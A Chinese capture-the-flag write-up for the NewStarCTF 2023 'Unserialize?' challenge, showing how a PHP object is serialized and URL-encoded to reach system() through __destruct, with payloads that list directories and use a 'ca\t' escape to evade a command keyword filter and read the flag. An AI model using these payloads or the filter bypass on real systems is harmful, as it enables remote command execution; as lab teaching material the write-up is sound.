NewStarCTF2023week2-Unserialize?

代码审计:

定义了一个eval类,该类下有一个私有变量cmd和公有成员函数destruct(),该函数在对象的所有引用都被删除或类被销毁时会自动调用;

调用该函数则会执行一个正则表达式进行正则匹配,过滤掉了一些常用命令和base编码,

i表示不区分大小写,因此我们无法使用大小写来绕过;

如果满足if条件,没有被匹配到,则会调用system函数,执行我们传入的cmd内容;

最终要求我们使用post请求给unser传参,传入后会对其进行反序列化。

关于反序列化漏洞基础知识以及PHP魔法函数、pop链构造请参考我之前的博客:

http://t.csdnimg.cn/UqIXd

http://t.csdnimg.cn/Crxdl

http://t.csdnimg.cn/vGNgX

http://t.csdnimg.cn/mdplc

OK咱们继续说这道题,这里考的就是php反序列化漏洞

编写序列化脚本:先将原本的eval类的内容复制进来

错误示例:

php 复制代码
<?php
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
$e->cmd = 'ls';
echo serialize($e)

?>

创建了一个 evil 对象并设置了 cmd 属性,然后对对象进行了序列化。但要注意,在 PHP 中,如果一个类包含私有属性,并且你尝试序列化该对象,私有属性的值将不会被包括在序列化结果中。因此,在反序列化时,你无法访问 cmd 属性的值,因为它不会被正确反序列化。

对于私有变量,我们一般在类中直接对其修改:

php 复制代码
<?php
class evil {
    private $cmd='ls';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo serialize($e)

?>

O:4:"evil":1:{s:9:"evil cmd";s:2:"ls";}

虽然序列化成功了,但是将结果传入发现没反应

应该是我们传入的内容被进行了一次url解码

因此我们对结果再进行url编码:

php 复制代码
<?php
class evil {
    private $cmd='ls';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo urlencode(serialize($e));

?>

构造payload:

php 复制代码
post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A2%3A%22ls%22%3B%7D

回显成功

构造payload进行目录穿越:

php 复制代码
<?php
class evil {
    private $cmd='ls ../../../';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo urlencode((serialize($e)))

?>
php 复制代码
post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A12%3A%22ls+..%2F..%2F..%2F%22%3B%7D

在根目录下找到flag

由于cat,tac被过滤了,这里使用转义符号进行绕过

php 复制代码
<?php
class evil {
    private $cmd='ca\t /th1s_1s_fffflllll4444aaaggggg';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo urlencode((serialize($e)))

?>

构造payload:

php 复制代码
post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22ca%5Ct+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

flag{1f321f7f-2a47-421e-839b-bb899cb523b0}

相关推荐
木雷坞15 分钟前
PHP两项9.2分漏洞:Docker容器更新与版本核验教程
开发语言·docker·php
JaguarJack10 小时前
PHP 紧急修复两项严重 RCE 漏洞,8.2 至 8.5 用户应立即升级
后端·php·服务端
小羊没烦恼!10 小时前
铁道部新客票系统设计(二)
开发语言·前端·数据库·python·oracle·c#·php
BingoGo10 小时前
PHP 紧急修复两项严重 RCE 漏洞,8.2 至 8.5 用户应立即升级
后端·php
波力海苔夹心脆67514 小时前
C# 正则表达式零基础入门:从“看得懂“到“会用“
经验分享·后端·mysql·正则表达式·c#
YFJ_mily17 小时前
【10-12月优质学术会议合集】会议覆盖人工智能、大数据、高端装备、软件与网络安全 、计算机视觉技术等热门方向
算法·安全·web安全·网络安全·软件·rdlink研发家
李纲明18 小时前
WordPress 古腾堡点「更新」报「不是有效的 JSON 响应」:我按 REST 接口一路查下来的顺序
运维·nginx·php·wordpress·rest api
专业程序开发源19 小时前
springboot校企合作双选会一站式预约与面试系统16010-计算机课程设计、毕业设计
java·vue.js·spring boot·后端·面试·php·课程设计
郑州光合科技余经理20 小时前
同城商城源码:商品库和订单库怎么随包交付
android·java·开发语言·后端·uni-app·php·ai编程
minglie121 小时前
zynq联网配置
网络·数据库·php